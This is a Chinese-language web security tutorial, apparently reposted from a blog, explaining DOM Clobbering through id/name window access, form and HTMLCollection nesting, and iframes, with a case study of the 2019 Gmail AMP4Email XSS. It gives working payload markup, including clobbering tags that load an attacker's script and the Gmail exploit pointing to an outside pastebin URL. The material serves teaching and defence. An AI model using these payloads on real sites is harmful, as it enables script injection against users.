DOM Clobbering 的原理及應用

前言

作爲一個前端程序猿,確定應該知道不少與前端相關的知識,像是 HTML 或是 JS 相關的東西,但這些一般都與「使用」有關。例如說我知道寫 HTML 的時候要語義化,要使用正確的標籤;我知道 JS 應該要怎麼用。但是有些知識雖然也跟網頁有關,卻不是前端程序員常常接觸的。html

所謂的「有些知識」指的實際上是信息安全相關的知識。有些在信息安全裏常見的觀念,雖然跟網頁有關,對咱們來講卻不太熟悉,而我認爲理解這些實際上是很重要的。由於你必須懂得怎麼攻擊才能防護,要先知道攻擊手法跟原理,才知道該怎麼防範。前端

在正式開始以前,先給你們一個小題目練練手。html5

假設有一段代碼,有一個按鈕以及一段 js 腳本,以下所示:git

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>

<body>
  <button id="btn">click me</button>
  <script>
    // TODO: add click event listener to button
  </script>
</body>
</html>

如今請你用最短的代碼,實現出點擊按鈕時會跳出 alert(1)這個功能。程序員

這樣寫:github

document.getElementById('btn')
  .addEventListener('click', () => {
    alert(1)
  })

那若是要讓代碼最短,你的答案會是什麼?web

在繼續以前先想一下,想好以後再往下看。面試

.
.
.
.
.
.
.
.
.segmentfault

DOM 與 window 的量子糾纏

你知道 DOM 裏面的東西,有可能影響到 window 嗎?api

就是你在 HTML 裏面設定一個有 id 的元素以後,在 JS 中就能夠直接操做:

<button id="btn">click me</button>
<script>
  console.log(window.btn) // <button id="btn">click me</button>
</script>

因爲 JS 的做用域規則,你就算直接用 btn 也能夠,由於在當前的做用域找不到時就會往上找,一路找到 window

因此前面那道題的答案是:

btn.onclick = () => alert(1)

不須要 getElementById,也不須要 querySelector,只要直接用與 id 同名的變量去拿,就能獲得。應該不會有比這個更短的代碼了(有的話歡迎留言打臉)

而這個行爲在 HTML 的說明文檔中是有明肯定義的,在 7.3.3 Named access on the Window object

image.png

節選兩個重點:

  1. the value of the name content attribute for all embed, form, img, and object elements that have a non-empty name content attribute
  2. the value of the id content attribute for all HTML elements that have a non-empty id content attribute

也就是說除了 id 能夠直接用 window 存取到之外,embed, form, imgobject 這四個標籤用 name 也能夠操做:

<embed name="a"></embed>
<form name="b"></form>
<img name="c" />
<object name="d"></object>

可是知道這個有什麼用呢?有,理解這個規則以後,能夠得出一個結論:

咱們是有機會經過 HTML 元素來影響 JS 的!

而把這個手法用在攻擊上,就是標題的 DOM Clobbering。之前是由於這個攻擊手段才第一次知道 clobbering 這個單詞的,查了一下發如今計算機專業領域中有覆蓋的意思,就是經過 DOM 把一些東西覆蓋掉來達到攻擊的手段。

DOM Clobbering 入門

那在什麼場景之下有機會用 DOM Clobbering 攻擊呢?

首先必須有機會在頁面上顯示你本身的 HTML,不然就沒有辦法了。因此一個能夠攻擊的場景多是這樣:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1>留言板</h1>
  <div>
    你的留言:Hello World!
  </div> 
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

假設有一個留言板,你能夠輸入任意內容,可是你的輸入在服務端會作一些處理(例如用DOMPurify 之類的庫),把全部能夠執行 JavaScript 的東西都過濾掉,因此 <script></script> 會被刪掉,<img src=x onerror=alert(1)>onerror 會被去掉,還有許多 XSS payload 也都被幹掉。

簡而言之,你沒辦法執行 JavaScript 來進行 XSS 攻擊,由於這些都被過濾掉了。

可是由於種種因素,並不會過濾掉 HTML 標籤,因此你能夠作的事情是顯示自定義的 HTML。只要沒有執行 JS,你想要插入什麼 HTML 標籤,設置什麼屬性均可以。

因此就能夠這樣作:

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
</head>
<body>
  <h1>留言板</h1>
  <div>
    你的留言:<div id="TEST_MODE"></div>
    <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>
  </div> 
  <script>
    if (window.TEST_MODE) {
      // load test script
      var script = document.createElement('script')
      script.src = window.TEST_SCRIPT_SRC
      document.body.appendChild(script)
    }
  </script>
</body>
</html>

根據咱們上面所學到到的知識,能夠插入一個 idTEST_MODE 的標籤 <div id="TEST_MODE"></div>,這樣底下 JS 的 if (window.TEST_MODE) 就會過關,由於 window.TEST_MODE 是這個 div 元素。

還有咱們能夠用 <a id="TEST_SCRIPT_SRC" href="my_evil_script"></a>window.TEST_SCRIPT_SRC 轉成字符串以後變成咱們想要的內容。

在不少情況下,只是把一個變量覆蓋成 HTML 元素是不夠的,好比你把上面那段代碼當中的 window.TEST_MODE 轉成字符串打印出來:

// <div id="TEST_MODE" />
console.log(window.TEST_MODE + '')

結果會是:[object HTMLDivElement]

把一個 HTML 元素轉成字符串就會變成這種形式,若是是這樣的話那基本上沒辦法利用。但幸虧在 HTML 裏面有兩個元素在 toString 時會作特殊處理:<base><a>

image.png

來源:4.6.3 API for a and area elements

這兩個元素在 toString 的時候會返回 URL,而咱們能夠經過 href 屬性來設置 URL,這樣就能夠作到讓 toString 以後的內容可控。

因此綜合以上手法,咱們學廢了:

  1. 用 HTML 搭配 id 屬性影響 JS 變量
  2. a 搭配 href 以及 id 讓元素 toString 以後變成咱們想要的值

經過上面這兩個手段再配合適當的場景,就有機會利用 DOM Clobbering 來進行攻擊。

不過在這裏要注意,若是你想攻擊的變量已經存在的話,你用 DOM 是覆蓋不掉的,例如:

<!DOCTYPE html>
<html>
<head>
  <script>
    TEST_MODE = 1
  </script>
</head>
<body>
  <div id="TEST_MODE"></div> 
  <script>
    console.log(window.TEST_MODE) // 1
  </script>
</body>
</html>

多層級的 DOM Clobbering

在前面的例子中,咱們用 DOM 把 window.TEST_MODE 蓋掉,製造出未預期的行爲。若是要蓋掉的對象是個對象那有機會嗎?

例如 window.config.isTest 也能夠用 DOM clobbering 蓋掉嗎?

有幾種方法,第一種是利用 HTML 標籤的層級關係,具備這樣特性的是 form 表單:

在 HTML 的 說明 中有這樣一段:
image.png

能夠利用 form[name] 或是 form[id] 取它底下的元素,例如:

<!DOCTYPE html>
<html>
<body>
  <form id="config">
    <input name="isTest" />
    <button id="isProd"></button>
  </form>
  <script>
    console.log(config) // <form id="config">
    console.log(config.isTest) // <input name="isTest" />
    console.log(config.isProd) // <button id="isProd"></button>
  </script>
</body>
</html>

如此一來就能夠構造出兩層的 DOM clobbering。不過要注意,那就是這裏沒有 a 可用,因此 toString 以後都會沒辦法利用。

可是比較有可能利用的機會是,當你要覆蓋的東西是用 value 存取的時候,例如:config.enviroment.value,就能夠利用 inputvalue 屬性作覆蓋:

<!DOCTYPE html>
<html>
<body>
  <form id="config">
    <input name="enviroment" value="test" />
  </form>
  <script>
    console.log(config.enviroment.value) // test
  </script>
</body>
</html>

簡單來講就是隻有那些內置的屬性能夠覆蓋,其餘是沒有辦法的。

除了利用 HTML 自己的層級之外,還能夠利用另一個特性:HTMLCollection。

在咱們前面看到的關於 Named access on the Window object 說明文檔中,決定值是什麼的段落是這樣寫的:
image.png

若是要返回的東西有多個,就返回 HTMLCollection。

<!DOCTYPE html>
<html>
<body>
  <a id="config"></a>
  <a id="config"></a>
  <script>
    console.log(config) // HTMLCollection(2)
  </script>
</body>
</html>

那有了 HTMLCollection 以後能夠作什麼呢?在 4.2.10.2. Interface HTMLCollection 中提到,能夠利用 name 或是 id 去拿 HTMLCollection 裏面的元素。

image.png

像這樣:

<!DOCTYPE html>
<html>
<body>
  <a id="config"></a>
  <a id="config" name="apiUrl" href="https://huli.tw"></a>
  <script>
    console.log(config.apiUrl + '')
    // https://huli.tw
  </script>
</body>
</html>

就能夠經過同名的 id 產生出 HTMLCollection,再用 name 來獲得 HTMLCollection 的特定元素,同樣能夠達到兩層的效果。

而若是把 form 跟 HTMLCollection 結合在一塊兒,就可以作到三層:

<!DOCTYPE html>
<html>
<body>
  <form id="config"></form>
  <form id="config" name="prod">
    <input name="apiUrl" value="123" />
  </form>
  <script>
    console.log(config.prod.apiUrl.value) //123
  </script>
</body>
</html>

先利用同名的 id,讓 config 能夠拿到 HTMLCollection,再來用 config.prod 就能夠拿到 HTMLCollection 中 nameprod 的元素,也就是那個 form,接著就是 form.apiUrl 拿到表單底下的 input,最後用 value 拿到裏面的屬性。

因此若是最後要拿的屬性是 HTML 的屬性,就能夠四層,不然的話就只能三層。

再更多層級的 DOM Clobbering

前面提到三層或是有條件的四層已是極限了,那麼還有沒有其餘方法再突破限制呢?

根據 DOM Clobbering strikes back 裏面給的作法,有,利用 iframe 就能夠作到。

當你建立了一個iframe 並給它一個 name 時,用這個 name 就能夠指到 iframe 裏面的 window,因此能夠這樣:

<!DOCTYPE html>
<html>
<body>
  <iframe name="config" srcdoc='
    <a id="apiUrl"></a>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(config.apiUrl) // <a id="apiUrl"></a>
    }, 500)
  </script>
</body>
</html>

這裏之因此會須要 setTimeout 是由於 iframe 並非同步載入的,因此須要一些時間才能正確拿到 iframe 裏的東西。

有了 iframe 的幫助以後,就能夠創造出更多層級:

<!DOCTYPE html>
<html>
<body>
  <iframe name="moreLevel" srcdoc='
    <form id="config"></form>
    <form id="config" name="prod">
      <input name="apiUrl" value="123" />
    </form>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(moreLevel.config.prod.apiUrl.value) //123
    }, 500)
  </script>
</body>
</html>

理論上能夠在 iframe 裏再套一個 iframe,能夠作到無限層級的 DOM clobbering,不過我嘗試了一下發現可能有點編碼上的問題,例如像這樣:

<!DOCTYPE html>
<html>
<body>
  <iframe name="level1" srcdoc='
    <iframe name="level2" srcdoc="
      <iframe name="level3"></iframe>
    "></iframe>
  '></iframe>
  <script>
    setTimeout(() => {
      console.log(level1.level2.level3) // undefined
    }, 500)
  </script>
</body>
</html>

打印出來會是 undefined,但若是把 level3 的那對雙引號拿掉,直接寫成 name=level3 就能夠成功打印出內容,我猜是由於單引號雙引號的一些解析問題形成的,目前還沒找到什麼解決方法,只嘗試了這樣是可行的,可是再往下就出錯了:

<!DOCTYPE html>
<html>
<body>
  <iframe name="level1" srcdoc="
    <iframe name=&quot;level2&quot; srcdoc=&quot;
      <iframe name='level3' srcdoc='
        <iframe name=level4></iframe>
      '></iframe>
    &quot;></iframe>
  "></iframe>
  <script>
    setTimeout(() => {
      console.log(level1.level2.level3.level4)
    }, 500)
  </script>
</body>
</html>

但實際上應該不會用到這麼深的層級,因此四層最多五層就夠用了。

實例研究:Gmail AMP4Email XSS

2019 年 Gmail 有一個漏洞就是經過 DOM clobbering 來攻擊的,完整的分析在這裏:XSS in GMail’s AMP4Email via DOM Clobbering,下面簡單講一下過程(部份內容取材自這篇文章)。

簡單來講在 Gmail 裏你可使用部分 AMP 的功能,而後 Google 針對這個格式的驗證很嚴謹,因此沒有辦法用通常的方法進行 XSS。

可是有人發現能夠在 HTML 元素上面設置 id,又發現當他設置了一個 <a id="AMP_MODE"> 以後,控制檯忽然出現一個載入腳本的錯誤,並且網址中的其中一段是 undefined。仔細去研究代碼以後,有一段代碼大概是這樣的:

var script = window.document.createElement("script");
script.async = false;

var loc;
if (AMP_MODE.test && window.testLocation) {
    loc = window.testLocation
} else {
    loc = window.location;
}

if (AMP_MODE.localDev) {
    loc = loc.protocol + "//" + loc.host + "/dist"
} else {
    loc = "https://cdn.ampproject.org";
}

var singlePass = AMP_MODE.singlePassType ? AMP_MODE.singlePassType + "/" : "";
b.src = loc + "/rtv/" + AMP_MODE.rtvVersion; + "/" + singlePass + "v0/" + pluginName + ".js";

document.head.appendChild(b);

若是能讓 AMP_MODE.testAMP_MODE.localDev 都是真值的話,再配合設置 window.testLocation,就能載入任意的腳本。

因此攻擊代碼會相似這樣:

// 讓 AMP_MODE.test 和 AMP_MODE.localDev 有內容
<a id="AMP_MODE" name="localDev"></a>
<a id="AMP_MODE" name="test"></a>

// 設置 testLocation.protocol
<a id="testLocation"></a>
<a id="testLocation" name="protocol" 
   href="https://pastebin.com/raw/0tn8z0rG#"></a>

最後就能成功載入任意腳本,進而進行 XSS!(不過當初做者只嘗試到這一步就被 CSP 攔住了)。

這應該是 DOM Clobbering 最著名的案例之一了。

總結

雖然 DOM Clobbering 的使用場景有限,倒是一個至關有趣的攻擊手段!並且若是你不知道這個特性的話,可能徹底沒想過能夠經過 HTML 來影響全局變量的內容。

若是對這個攻擊手法有興趣的,能夠參考 PortSwigger 的文章,裏面提供了兩個實驗讓你們親自嘗試這個攻擊手段,光看是沒用的,要實際下去操做一下才能體會。

173382ede7319973.gif


本文首發微信公衆號:前端先鋒

歡迎掃描二維碼關注公衆號,天天都給你推送新鮮的前端技術文章

歡迎掃描二維碼關注公衆號,天天都給你推送新鮮的前端技術文章


歡迎繼續閱讀本專欄其它高贊文章:


相關文章
相關標籤/搜索